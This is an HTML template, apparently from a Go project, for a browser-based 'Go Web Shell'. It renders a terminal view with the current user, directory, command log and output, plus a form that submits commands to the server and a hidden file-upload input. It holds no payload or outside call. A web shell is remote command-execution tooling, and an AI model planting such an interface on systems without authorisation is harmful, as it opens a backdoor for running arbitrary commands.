33 lines
1.1 KiB
HTML
33 lines
1.1 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<title>Go Web Shell</title>
|
|
<script type="text/javascript" src="static/keyboard-shortcuts.js"></script>
|
|
<script type="text/javascript" src="static/download-command.js"></script>
|
|
<link rel="stylesheet" type="text/css" href="static/stylesheet.css">
|
|
</head>
|
|
<body>
|
|
<div id="terminal">
|
|
<span>Current Directory: {{.CurrentDir}}</span>
|
|
{{range .CommandLog}}
|
|
<div><span class="command">gommand:$ {{.Command}}</span></div>
|
|
{{if .Output}}
|
|
<div>{{.Output}}</div>
|
|
{{end}}
|
|
{{if .Error}}
|
|
<div class="error">{{.Error}}</div>
|
|
{{end}}
|
|
{{end}}
|
|
<form method="POST" autocomplete="off">
|
|
<div style="display: flex; align-items: center;">
|
|
<span class="command">{{.CurrentUsername}}:<span class="directory">{{.CurrentDir}}</span>$ </span>
|
|
<input id="command-input" type="text" name="command" placeholder="Type a command here..." autofocus required>
|
|
</div>
|
|
</form>
|
|
</div>
|
|
<input type="file" id="fileInput" style="display: none;" onchange="setFilePath()">
|
|
</body>
|
|
</html>
|